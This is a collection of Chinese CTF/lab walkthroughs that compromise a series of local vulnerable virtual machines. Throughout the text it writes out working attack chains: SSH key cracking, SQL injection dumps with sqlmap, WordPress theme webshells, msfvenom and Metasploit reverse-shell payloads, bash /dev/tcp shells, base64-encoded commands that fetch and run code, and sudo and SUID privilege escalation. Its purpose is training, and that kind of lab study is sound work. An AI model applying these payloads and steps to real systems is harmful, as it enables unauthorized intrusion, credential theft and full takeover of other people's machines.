赞
踩
关于以下场景中需要用到的环境和镜像以及CTF渗透教学视频均已在链接中
链接:https://www.alipan.com/s/KPph3SjbUJr 提取码: x1k7
攻击机ip为192.168.56.102
靶机ip为192.168.56.101
使用nmap工具扫描靶机所有开放端口,发现特殊端口31337开放并提供http服务
nmap -sV 192.168.56.101
直接访问192.168.56.101:31337无有效信息,源码也无有效信息。故使用dirb工具探测此服务的隐藏文件
dirb http://192.168.56.101:31337
发现服务器后台有5个文件,进一步查看发现前三个没什么有价值的信息
但发现第5个文件robots.txt中规定禁止爬虫访问三个文件,其中两个文件已查看过,但taxes文件首次出现,遂查看该文件(访问http://192.168.56.101:31337/taxes)
得到第一个flag
发现第4个文件“.ssh”中可能包含私钥(id_rsa)、认证关键字(authorized_keys)、公钥(id_rsa.pub)三个文件,分别尝试访问
http://192.168.56.101:31337/.ssh/id_rsa
http://192.168.56.101:31337/.ssh/authorized_keys
并下载文件
打开authorized_keys文件,发现一个用户simon
于是尝试使用私钥文件直接访问ssh,在id_rsa所在目录中执行ssh指令
ssh -i id_rsa simon@192.168.56.101
被要求输入密码,可目前不知道密码
想到使用ssh2john工具将id_rsa秘钥信息转换为John the Ripper工具可以识别的信息并保存在rsacrack文件中,进而利用john自带的字典解密其中的信息。
chmod 600 id_rsa
ssh2john id_rsa > rsacrack python /usr/share/john/ssh2john.py id_rsa > rsacrack(报错使用)
使用zcat指令加载john自带的rockyou.txt字典(zcat可以不真正解压缩文件,就能显示压缩包中文件的内容)并将结果用管道传递给john工具(“ | ”符号叫做管道符号,可以把前一个命令原本要输出到屏幕的数据当作是后一个命令的标准输入)
使用john工具在已知密文的情况下尝试破解出明文
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack
得到密码:starwars,返回上一个终端输入密码即可远程登录到这台主机上
使用pwd指令可立刻得知目前所在的工作目录的绝对路径名称,
使用ls指令可列出目前工作目录所含之文件及子目录,
使用cd指令可打开指定文件夹,
使用cat指令可用于连接文件并打印到标准输出设备上(打开文件),
/root是系统管理员(也叫超级用户)的主目录。
进入/root目录后,发现特殊文件flag.txt,但访问被拒绝,于是想要提权以便打开该文件
从根目录“/”开始查找整个系统所有文件中拥有suid特殊权限的文件,并忽略错误以防打断查找
find / -perm -4000 2>/dev/null
发现同名文件read_message,于是尝试访问。其中read_message文件中无有效信息,故仔细阅读read_message.c文件
审计read_message.c中代码
1.得到第二个flag
2.发现固定大小的数组,想能否制造内存溢出
3.若要正确执行程序,则输入的前五个字符应为“Simon
执行read_message.c文件
尝试输入SimonAAAAAAAAAAAAAAA/bin/sh,成功通过SimonAAAAAAAAAAAAAAA占满了buf数组的20个空位,并通过内存溢出部分的“/bin/sh”指令get到此服务器shell同时拿到了root权限
此时再次尝试访问刚刚无权访问的flag.txt文件,发现可以访问了
得到第三个flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.103
使用nmap工具扫描靶机所有开放端口
nmap -sV 192.168.56.103
一.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露
②能否找到私钥的用户名
③束手无策时考虑暴力破解密码二.发现靶机开放了80端口的http服务,于是想到
①尝试直接用浏览器访问靶机开放了http服务的端口
②使用dirb工具探测http的目录
浏览器访问http://192.168.56.103:80,得
使用dirb工具探测此服务的隐藏文件
dirb http://192.168.56.103:80
在其中找到有用的目录icons
在一个txt文件找到了很可能是ssh的私钥信息,并且无需解密可以直接使用
使用wget工具下载刚找到的私钥文件
wget "http://192.168.56.103/icons/VDSoyuAXiO.txt"
预处理私钥文件
重命名为id_rsa,修改为600权限(否则私钥不生效,会要求输入密码)
mv VDSoyuAXiO.txt id_rsa
chmod 600 id_rsa
尝试登录服务器,刚才访问的网页主界面出现过3个人名
试用jimmy用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录
试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录
试用hadi用户名,发现确实存在该用户名,但私钥id_rsa不生效,密码不为空,无法登录
使用id指令判断当前用户是否具有root权限(一般情况下,flag文件只允许root用户及其对应的用户组访问)
发现当前使用的martin用户不具有root权限,需要提权
使用crontab指令可用来定期执行程序,在/etc/crontab文件中存放用户的定时计划。
1.如果在/etc/crontab文件中有某个用户的定时计划但具体目录中没有对应的可执行文件,则攻击者可以自行创建该可执行文件并在其中加入自己的恶意代码,该行为可创建反弹shell使得靶机主动向攻击机发起会话请求,攻击机通过监听相应端口可以get到靶机的shell进而获取root权限
2.如果在/etc/crontab文件中有某个用户的定时计划且具体目录中存在对应的可执行文件,则攻击者可以尝试能否访问并添加恶意代码以创建反弹shell
使用cat指令访问crontab文件查看定时任务
发现jimmy用户设定每隔5分钟执行一次tmp目录下的sekurity.py文件,但实际上在tmp目录中并未发现该文件,因而可以自行创建该文件并添加恶意代码
cd /tmp && ls
编写脚本文件
msfvenom -l payloads | grep python
使用python/meterpreter/reverse_tcp反弹shell
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.56.104 lport=8888
将反弹shell配置内容用vi编辑器复制粘贴到靶机/tmp/sekurity.py
终端输入msfconsole打开metasploit
use exploit/multi/handler #设置handler模块
set payload python/meterpreter/reverse_tcp #加载payload模块
set lhost 192.168.56.104 #设置攻击机ip
set lport 8888 #设置端口
exploit -j #设置后台利用
靶机python运行反弹shell文件
等待shell反弹,查看session
session -i 1 #进入 jimmy
优化会话
python -c "import pty;pty.spawn('/bin/bash')"
暴力破解root用户的密码
使用git指令下载cupp工具,并赋予cupp.py文件可执行权限,随后可以开始以交互的方式创建字典,如没有联网输入下载(git clone https://github.com/jeanphorn/common-password.git)
生成好的字典文件存放在/common-password目录下
使用metasploit破解SSH
得知hadi用户的密码为hadi123
拿到具有root权限的shell
session -i 1
并优化会话
使用su命令得到root权限(需要输入密码:hadi123)
成功获取root权限
打开flag.txt文件
成功获取到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.101
使用nmap工具扫描靶机开放服务信息
使用nmap工具扫描靶机全部信息
nmap -A -v -T5 192.168.56.101
尝试利用smb协议登录共享文件夹,先查看smb服务器端所分享出来的所有资源
smbclient -L 192.168.56.101
要求输入密码,尝试空密码(直接回车),成功登录共享文件夹
打开各个共享文件夹查看具体内容
smbclient '\\192.168.56.101\print$'
smbclient '\\192.168.56.101\IPC$'
smbclient '\\192.168.56.101\share$'
其中,print文件夹密码为空但无访问权限,IPC文件夹密码为空可访问但无内容,share文件夹密码为空可访问且存在大量文件
下载敏感文件寻找敏感信息
敏感文件1(config配置文件)
配置文件中可能存在用户名和密码,下载:
另外启动一个终端查看文件内容
得到了一个数据库用户和对应密码
敏感文件2
下载:
另外启动一个终端查看文件内容
得到了一个默认密码,其他文件和文件夹内无敏感信息
访问http服务并寻找隐藏起来的后台文件,使用dirb工具探测此服务的隐藏文件
dirb http://192.168.56.101:80
除wordpress外无有效信息,访问http://192.168.56.101/wordpress/得
得到一个关键名字 togie
mysql -h 192.168.56.101 -u Admin -p
输入密码:TogieMYSQL12345^^
攻击机无访问权限
ssh Admin@192.168.56.101
尝试输入密码,TogieMYSQL12345^^,错误;12345,错误,无法远程访问服务器
先确定smb版本
再查看是否有远程溢出漏洞
searchsploit Samba smbd 3.X - 4.X
searchsploit Samba smbd 4.3.11-Ubuntu
没有相关漏洞
经过刚才的信息收集,发现该靶机服务器开放访问的网站是由WordPress程序建立的,而使用WordPress搭建的网站登录后台均为:网站域名/wp-admin,故浏览器访问:http://192.168.56.101:80/wordpress/wp-admin/
输入用户名:"Admin"和密码:“TogieMYSQL12345^^”,登录成功
可以使用msfvenom工具来生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw
将生成的代码从注释符后开始选取并复制到某个php文件中即可
打开msfconsole
msf6 > use exploit/multi/handler //使用msf工具的侦听模块exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //设置挂载。可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定
msf6 exploit(multi/handler) > set lhost 192.168.56.104 //填入攻击机ip
其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与反弹shell的php脚本中的设定一致
上传反弹shell脚本至服务器后台,执行脚本(即访问脚本所在的php页面)
上传反弹shell脚本至服务器后台
用脚本代码替换原来的404处理代码并上传
访问脚本所在的php页面
观察当前页面URL:http://192.168.56.101/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=0
当前网站的404模板文件属于twentyfifteen主题模板,而使用WordPress搭建的网站中404模板文件的位置为“wordpress/wp-content/themes/当前使用的主题模板/404.php”,故访问404.php页面的URL为:http://192.168.56.101/wordpress/wp-content/themes/twentyfifteen/404.php
访问上述URL,成功get到反弹shell
拿到shell并进行预处理
shell
id
python -c "import pty; pty.spawn('/bin/bash')"
切换用户
查看本机所有用户
cat /etc/passwd
发现了一个熟悉的用户名——“togie”,并且发现该用户位于home目录下,遂尝试登录该用户
su togie
登录成功
提权
成功提升到root权限
打开proof.txt文件
成功获取到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.101
使用nmap工具扫描靶机开放的服务以及对应版本
nmap -sV 192.168.56.101
searchsploit ProFTPD 1.3.3c
发现存在后门,可以尝试远程溢出。既可以通过修改对应文件中的源代码(修改某些参数)进而执行远程溢出从而利用漏洞,也可以使用Metasploit工具利用该漏洞
利用Metasploit进行远程溢出攻击
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor //利用exp
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads //查看可使用的挂载
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse //选择挂载
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 192.168.56.101 //设置靶机ip
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.56.104 //设置攻击机ip
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit //开始利用漏洞
成功拿到反弹shell,且当前账户拥有root权限
优化会话
python -c "import pty; pty.spawn('/bin/bash')" //优化终端
cd /root
ls
cat flag
成功获取到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.102
使用nmap工具扫描靶机
nmap -p- -T5 192.168.56.102
使用nikto工具进一步探测靶机敏感信息
nikto -host http://192.168.56.102:80
nikto -host http://192.168.56.102:9090
使用dirb工具探测靶机http服务对应的目录
dirb http://192.168.56.102:80
dirb http://192.168.56.102:9090
nc 192.168.56.102 13337
得到一个flag
nc 192.168.56.102 22222
发现该端口运行的是ssh服务
nc 192.168.56.102 60000
得到一个flag
直接访问:https://192.168.56.102:9090
得到一个flag
根据之前用dirb http://192.168.56.102:80扫描得到的信息:
浏览器访问http://192.168.56.102:80,无有效信息
访问http://192.168.56.102:80/cgi-bin/,无有效信息
访问http://192.168.56.102:80/passwords/,访问发现flag.txt
得到一个flag
继续访问其他两个文件探索信息,在passwords.html查看源代码时发现未知账号的密码:winter
浏览器访问:http://192.168.56.102:80/robots.txt
得到三个禁止爬虫访问的地址,构造链接并访问:
http://192.168.56.102/cgi-bin/root_shell.cgi
http://192.168.56.102/cgi-bin/tracertool.cgi
http://192.168.56.102/cgi-bin/
其中‘root_shell.cgi’与‘cgi-bin/’无法找到有效信息,但在访问‘tracertool.cgi’时
发现该页面可以输入指令,想到是否存在命令注入漏洞
文本框中输入‘127.0.0.1’,点击Trace!,分析URL
得知命令执行过程为:将文本框中语句以get方法传递给服务器的‘tracertool.cgi’文件并执行,随后将结果返回客户端网页
试探性输入:127.0.0.1;id
发现‘id’命令得到执行,但当前用户不具有root权限。考虑到之前得到了一个密码(winter),尝试打开‘/etc/passwd’文件,查看是否有用户名可以使用该密码登录ssh
127.0.0.1;cat /etc/passwd
相近命令:127.0.0.1;more /etc/passwd
分析文件:
发现只有root、RickSanchez、Morty、Summer四个用户名可以用于登录,于是尝试使用ssh远程登录服务器
ssh root@192.168.56.102
发现无法通过22号端口使用ssh远程登录,但注意到之前用‘nc 192.168.43.213 22222’扫描得到的信息
说明可以通过22222号端口使用ssh远程登录
ssh -p 22222 root@192.168.56.102
ssh -p 22222 RickSanchez@192.168.56.102
ssh -p 22222 Morty@192.168.56.102
ssh -p 22222 Summer@192.168.56.102
经尝试,成功使用,用户名:Summer;密码:winter,远程登录到服务器。发现当前目录下存在FLAG.txt文件,但cat命令疑似被过滤,遂使用more命令代替
得到一个flag
根据之前用nmap -p- -T5 192.168.56.102扫描得到的信息,可尝试匿名登录ftp服务器根目录,用浏览器访问
ftp://192.168.56.102
打开pub文件夹,无文件,打开FLAG.txt
得到一个flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.103
使用nmap工具扫描靶机开放的服务以及对应版本
nmap -sV 192.168.56.103
使用nikto工具进一步探测靶机敏感信息
nikto -host http://192.168.56.103:80
根据之前用nikto -host http://192.168.56.103:80扫描得到的信息,得知存在用户登录界面,构造链接直接访问http://192.168.56.103/admin/login.php
经尝试无法用弱口令Login:admin;Password:admin登录,故进行深入漏洞扫描
启动"OWASP_ZAP"工具
按需选择后点击‘Start’
输入目标URL,点击‘攻击’开始扫描
扫描完成
分析扫描结果,发现存在SQL注入漏洞,可以直接利用。该漏洞是高危漏洞(红色旗帜),可以直接获取服务器权限
查看SQLi报告,得知存在漏洞的URL为http://192.168.56.103/cat.php?id=3
可以使用sqlmap工具利用SQLi漏洞
sqlmap -u "http://192.168.56.103/cat.php?id=3"
得知确实存在SQLi漏洞,且’id’参数存在
sqlmap -u "http://192.168.56.103/cat.php?id=3" -dbs
sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -tables
sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -T "users" -columns
sqlmap -u "http://192.168.56.103/cat.php?id=3" -D "photoblog" -T "users" -C "login,password" -dump
得到可用于登录的用户名’admin’,密码的密文和经由sqlmap解密后的明文’P4ssw0rd’,进而可以登录系统后台
//也可以尝试直接获取shell,格式为(sqlmap -u "目标URL" --os-shell):
sqlmap -u "http://192.168.56.103/cat.php?id=3" --os-shell
netstat -pantu
可以使用msfvenom工具来生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw > /home/kali/shell.php
执行"msfvenom … raw"后会生成一段代码,可以通过">“将代码直接存放进”/home/kali"目录下的"shell.php"文件,若"shell.php"文件不存在则会被创建,在靶机上执行该php文件将返回一个shell给攻击机
打开msfconsole
msf6 > use exploit/multi/handler //使用msf工具的侦听模块
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //设置挂载用于监听基于TCP协议的反向链接反弹shell
msf6 exploit(multi/handler) > set lhost 192.168.56.104 //填入攻击机ip
点击"Add a new picture
选择刚才制作的反弹shell脚本文件,点击“Add”上传
发现<.php>被过滤无法上传
发现可将小写<.php>改为大写<.PHP>上传(将文件后缀改为大写)
上传成功!点击shell访问“shell.PHP”文件执行恶意代码
成功获取反弹shell
sysinfo
渗透完成
攻击机ip为192.168.56.104
靶机ip为192.168.56.105
使用nmap工具扫描主机开放的全部端口
nmap -p- -T5 192.168.56.105
使用nmap工具快速扫描主机全部信息
nmap -T5 -A -v 192.168.56.105
探测敏感信息
dirb http://192.168.56.105
nikto -host http://192.168.56.105
发现两个登录页面,弱口令admin没进去,先留着,可能存在sql注入
使用nikto,对8080端口也进行进一步探测
访问一下可疑页面,没什么发现
漏洞扫描器Owasp-zap
先对默认的80端口进行探测,未发现高危漏洞
接着扫描8080端口,也未发现高危漏洞
对登录界面我们想到该页面是否具有对应的SQL注入,可以使我们注入到系统库当中,获取对应的数据
打开burpsuite,放在后台准备抓取报文
去到可能具有sql注入的登录页面,随意输入用户名和密码,例如admin和123456
我们需要http流经burpsuite,需要浏览器设置代理与burpsuite一致
设置好后,回到页面登录,burpsuite获得截取到的报文
复制粘贴到桌面新建的request.raw文件
sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbms mysql --batch
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch
拿到了它的用户名和密码,把代理关了,我们就去登录它的后台:192.168.56.105:8080/wordpress/wp-login.php
接下来上传实现shell操作,上传webshell获取控制权
使用kali提供的反弹shell脚本,复制shell代码
去到后台页面,进入外观编辑页面
点击右边404,进入编辑页,将代码粘贴进去,修改好ip与port
点击下方更新按钮,完成shell上传
回到终端,监听4444端口
网页访问192.168.56.105:8080/wordpress/wp-content/themes/twentythirteen/404.php
终端得到了返回的shell
优化终端
提权,尝试之前得到的后台密码
成功拿到root权限,sql注入成功
攻击机ip为192.168.56.104
靶机ip为192.168.56.106
使用nmap扫描主机服务信息以及服务版本
nmap -sV 192.168.56.106
快速扫描主机全部信息
nmap -T5 -A -v 192.168.56.106
使用nikto对开放的80端口进行进一步挖掘
发现一个登录的可疑页面,使用浏览器打开页面
使用弱口令进不去,可能这个页面存在sql漏洞,具体是什么注入,我们用owasp-zap来探测
输入需攻击的网页网址:http://192.168.56.106,点击攻击按钮
发现web具有sql注入漏洞,漏洞为X-Frame-Options参数
使用sqlmap去探测数据库中的库
sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" --dbs --batch
使用sqlmap去探测photoblog库中的表
sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" --tables --batch
使用sqlmap去探测users表中的元素
sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
对login和password元素进行探测,得到用户名和密码
sqlmap -u "http://192.168.56.106" --headers="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch
使用admin和P4ssw0rd去登陆后台
进入后台
攻击机ip为192.168.56.104
靶机ip为192.168.56.107
使用nmap工具扫描靶机开放的服务以及对应版本
nmap -sV 192.168.56.107
开放了80端口,Web服务——Apache服务器
nmap -T5 -A -v 192.168.56.107
nikto -hos http://192.168.56.107
发现了敏感文件:index.shtml
dirb http://192.168.56.107
发现敏感目录:robots.txt文件、ssi目录等
网站下面有Ssi目录,结合该网站目录下面的index.shtml,判断该网站可能使用了ssi技术
网站下面的index中存放着SSI命令执行的关键字
http://192.168.56.107/index.php中疑似有命令执行功能,通过上面的关键字构建要执行的命令。<-- #exec cmd=“cat /etc/passwd” -->
网站对用户输入的内容进行了过滤,Target输入框中对尖括号进行了过滤,Feedback输入框中对exec关键字进行了过滤
尖括号绕过方式有限,尝试使用大小写的方式绕过
成功绕过防御,构造命令
制作webshell,生成木马,上传到靶机root用户家目录
利用msfvenom生成木马,利用python反弹shell
将生成的木马放在/var/www/html(httpd服务的网站主目录)下面
启动kali的httpd服务
打开msfconsole
靶机上面执行命令使用wget下载文件并执行。
wget http://192.168.56.104/shell.py
权限
<!--#EXEC cmd="chmod 777 shell.py" -->
运行脚本
<!--#EXEC cmd="python shell.py" -->
反弹shell
优化shell
获取权限
攻击机ip为192.168.56.104
靶机ip为192.168.56.108
使用nmap工具扫描靶机开放的服务以及对应版本
nmap -sV 192.168.56.108
nmap -T5 -A -v 192.168.56.108
nikto -host http://192.168.56.108
dirb http://192.168.56.108
目录扫描结果分析:http://192.168.56.108/dbadmin疑似数据库管理页面
SQLite数据库后台管理登录页面,可能存在弱口令登录或者暴力破解等问题
使用owasp-zap工具扫描
http://192.168.56.108/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
访问给定的URL触发目录遍历漏洞,查看/etc/passwd
寻找shell文件,粘到桌面
改名为shell.php,并改好ip和端口
去到数据库后台,上传shell。新建一个数据库,库名为shell.php
选中数据库,新建一个表,表名为shell,字段为1
新建字段shell,类型为text,值为反弹shell代码
<?php system("cd /tmp;wget http://192.168.56.104:8000/shell.php;chmod +x shell.php;php shell.php");?>
上传shell成功
回到终端的桌面,开启python服务器"SimpleHTTPServer"
开启监视端口,监听4444端口
去到路径遍历漏洞页面,修改后面的信息,去执行shell文件
http://192.168.56.108/view.phppage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr/databases/shell.php
优化会话
拿到www-data用户权限
使用nmap工具扫描得出ssh服务开放
用户名zico密码sWfCsfJSPV9H3AmQzw8,登录成功
利用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
提升到root权限
找到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.101
nmap -sV 192.168.56.101
nmap -A -v -T5 192.168.56.101
nikto -host http://192.168.56.101
深入挖掘,分析nmap .nikto扫描结果,并对结果进行分析,挖掘可以利用的信息
使用浏览器打开http:/ /192.168.56.101/敏感页面,查看敏感信息,发现一个login,于是点击
将该站点改为ip
发现了一个登录界面,所以我们就想着找用户名和密码
wpscan --url vtcsec/secret/ --enumerate u
得到用户名为admin
启动msfconsole
msf6 > use auxiliary/scanner/http/wordpress_login_enum
msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin
msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt
msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/
msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.56.101
msf6 auxiliary(scanner/http/wordpress_login_enum) > run
破解成功,得到密码也是admin
使用破解好的密码登录系统
点击登录进去是这样的
需要修改hosts,vim /etc/hosts
重新访问
制作webshell,使用msfvenom制作shell代码,将代码复制下来
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.104 lport=4444 -f raw
wordpress后台寻找上传点
appearance的editor,然后再点击右侧的404 Template,将代码替换为shell代码
执行shell,获取反弹shell。
http: //192.168.56.101/secret/wp-content /themes/twentysevernteen /404.php
下载etc/passwd和/etc/shaodw
转换文件格式
使用john破解密码
优化会话
su - marlinspike
得到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.110
nmap -sV 192.168.56.110
nmap -T5 -A -v 192.168.56.110
nikto -host http://192.168.56.110:8080
访问192.168.56.110:8080,发现敏感信息
访问/test.jsp
输入框输入ls -l /tmp
查看临时缓冲目录:ls -alh /tmp
查看home目录,挖掘用户信息:ls -alh /home
查看具体用户的目录:ls -alh /home/bill
查看系统信息:uname -a
查看bill用户:ssh bill@localhost sudo -l
关闭防火墙:ssh bill@localhost sudo ufw disable
攻击机启动netcat
终端输入:nc -nlvp 4444
网页输入框输入:ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.56.104/4444 0>&1
反弹成功
终端输入:python -m "SimpleHTTPServer"
制作webshell到桌面
网页输入框输入:ssh bill@localhost sudo wget "http://192.168.56.104:8000/webshell.jsp" -O /var/lib/tomcat8/webapps/ROOT/webshell.jsp
得到flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.109
使用sparta工具对信息进行探测
提交IP之后的扫描结果,右键,浏览器打开
继续右键查看框架
右键使用dirbbuster来探测目录和文件
访问192.168.56.109/admin
访问使用nikto扫出的/dev敏感目录192.168.56.109/dev,点击webshell
返回/dev/页面,尝试获取页面源代码,在邮箱后面有一些对应的hash值,尝试使用crackstation.net进行破解,其中最后两个hash破解成功,分别为bulldog和bulldoglover
尝试使用邮箱中的用户名和对应的密码进行后台的登录(nick/bulldog)
尝试重新访问/dev/目录中的web-shell,能够执行一些指定的系统命令
攻击者监听端口,利用命令执行功能反弹shell
nc -nlvp 4444
执行命令反弹端口
echo 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1' | bash
得到反弹shell,当前用户为普通用户
信息收集,查看系统中可用的用户有哪些,并在bulldogadmin用户的家目录下面获取到了一个敏感目录
尝试进入该目录并查看该目录下面的文件
查看note文件中的内容,该文件的大致含义是执行另外一个文件能够获得用户密码
当前用户对于另一个文件没有执行权限,而且该文件为二进制文件,无法直接查看。但是该文件中一定书写了用户密码,尝试使用strings查看该文件中可利用的字符串strings customPermissionApp
该文件中有以上几个字符串,如果去掉每个字符串后面的“H”恰好形成了一句话“SUPERultimatePASSWORDyouCANTget”超级用户最终的密码,尝试使用该密码查看当前用户使用sudo命令的权限,拥有所有权限
切换至root用户
攻击机ip为192.168.56.104
靶机ip为192.168.56.111
扫描主机的全部开放端口
nmap -p- -T5 192.168.56.111
扫描主机的全部信息
nmap -T5 -A -v 192.168.56.111
使用dirb探测
dirb http://192.168.56.111
使用dirb对80端口进行探测,发现一个/test目录,打开,没什么发现
使用扫描工具owasp-zap来进行扫描,也没什么高危漏洞可利用
使用curl来探测
curl -v -X OPTIONS http://192.168.56.111/test
发现网页可以put上传文件,我们创建shell文件,修改好ip与端口,用于上传
cp/usr/share/webshells/php/php-reverse-shell.php shell.php
设置攻击机ip和端口
使用火狐插件RESTClient进行上传
选择put,选择Blob方式,将代码shell粘贴进去,上传
上传成功
使用nc开启监听反弹shell
nc -nlvp 443
点击shell.php链接,反弹shell
回到终端监听443端口,可以看到shell反弹
优化终端
python -c "import pty;pty.spawn('/bin/bash')"
使用msfvenom
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=443 -f raw
使用nmap工具的put方式上传
nmap -p 80 192.168.56.111 --script http-put --script-args http-put.url='/test/reverse_shell.php',http-put.file='/root/桌面/reverse_shell.php'
上传成功
设置监听,打开msf
访问网页的reverse_shell.php
反弹shell
使用searchsploit查看信息
searchsploit chkrootkit
使用locate工具
攻击机ip为192.168.56.104
靶机ip为192.168.56.112
nmap -sV 192.168.56.112
nmap -A -v -T5 192.168.56.112
nikto -host http://192.168.56.112
dirb http://192.168.56.112
依次访问robots.txt下的禁止页面,在/nothing特殊的404
查看源码
下载backup.zip
解压文件复制到桌面,发现需要密码,利用之前/nothing网页源代码下的密码尝试
输入freedom
查看文件具体类型
file backup-cred.mp3
读取文件
cat backup-cred.mp3
利用网址
访问192.168.56.112/SecreTSMSgatwayLogin
账号是touhid密码是/nothing页面源代码下的密码依次尝试尝试到diana成功登录
利用searchsploit进行渗透
searchsploit playSMS
查找路径
searchsploit -p 42003.txt
查看路径
cat /usr/share/exploitdb/exploits/php/webapps/42003.txt
访问提示页面
http://192.168.56.112/SecreTSMSgatwayLogin/index.php?app=main&inc=feature_sendfromfile&op=list
上传CSV文件
创建1.csv文件(桌面新建无内容)
利用BP解析数据包
再上传1.csv
根据提示执行代码
将1.csv改成<?php system('uname -a'); dia();?>.php
将该请求发送至repeater页面并且修改文件名为要执行的PHP代码,点击go将请求发出,点击Render查看图形化的响应页面,其中包含代码执行的结果
利用msfconsole监听端口
生成木马(注意:elf类型的文件是可执行的二进制文件)
生成shell
利用远程代码执行漏洞下载木马,因为需要绕过防火墙的原因所以对要执行的代码进行base64形式的编码,将生成的木马放到web网站的主目录下面
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.56.104 lport=4444 -f elf > /var/www/html/shell
启动Apache服务
service apache2 start
service apache2 status
生成命令
echo "wget http://192.168.56.102/shell -O /tmp/shell" | base64
得到
d2dldCBodHRwOi8vMTkyLjE2OC41Ni4xMDIvc2hlbGwgLU8gL3RtcC9zaGVsbAo=
echo "chmod 777 /tmp/shell" | base64
得到
Y2htb2QgNzc3IC90bXAvc2hlbGwK
echo '/tmp/shell' | base64
得到
L3RtcC9zaGVsbAo=
执行反弹shell(注意:每执行一条指令都需要重新抓一次包)
点击Action选择send to Repeater发送到Repeater
将1.csv改成<?php system(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC41Ni4xMDIvc2hlbGwgLU8gL3RtcC9zaGVsbAo=')); die();?>.php
点击send,再重新抓一次包
点击Action选择send to Repeater发送到Repeater
将2.csv改成<?php system(base64_decode('Y2htb2QgNzc3IC90bXAvc2hlbGwK')); die();?>.php
点击send,再重新抓一次包
点击Action选择send to Repeater发送到Repeater
将3.csv改成<?php system(base64_decode('L3RtcC9zaGVsbAo=')); die();?>.php
点击send,反弹shell成功
判断当前权限
优化会话
提权
利用perl反弹shell
获得flag
攻击机ip为192.168.56.104
靶机ip为192.168.56.113
nmap -sV 192.168.56.113
nmap -A -v -T5 192.168.56.113
dirb http://192.168.56.113
nikto -host http://192.168.56.113
发现敏感目录:/config.php、/login.php
访问敏感目录
/config.php页面和源代码均为空
/login.php为登录页面
尝试弱口令
查看页面源代码
源代码中,通过js代码限制了邮箱必须以@btrisk.com结尾
利用burpsuite进行fuzz测试,绕过登录验证机制,web模糊测试字典置/usr/share/wordlists/wfuzz
浏览器开启代理
尝试用@btrisk.com/123456登录,利用burpsuite进行截断
返回burpsuite查看抓到的数据包
将所有变量去掉
双击password,添加变量
设置payload,导入文件,攻击
查看攻击结果,复制链接并转到攻击页面
使用metasploit监听
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f raw > /root/桌面/shell.php
上传shell.php发现智能上传.jpg和.png为后缀的文件
修改文件后缀名为.jpg并上传
数据包截断,并修改文件filename
上传成功
关闭代理,去文件上传页面执行php
优化会话
python -c "import pty;pty.spawn('/bin/bash')"
在之前的nikto中,发现web有config.php文件,寻找config.php文件,找到mysql的用户与密码
读取数据库账号和密码
登录数据库
寻找有用信息
查看user下的信息
root提权
渗透结束
攻击机ip为192.168.182.129
靶机ip为192.168.182.130
nmap -sV 192.168.182.130
nmap -A -v -T5 192.168.182.130
dirb http://192.168.182.130
nikto -host http://192.168.182.130
nikto扫描到robots.txt并进行访问
robots.txt文件出现/wordpress/,对其进行访问
返现用户登录界面,进行账号的枚举
wpscan --url http://192.168.182.130/wordpress/ --enumerate at --enumerate ap --enumerate u
尝试弱口令登录
admin/admin
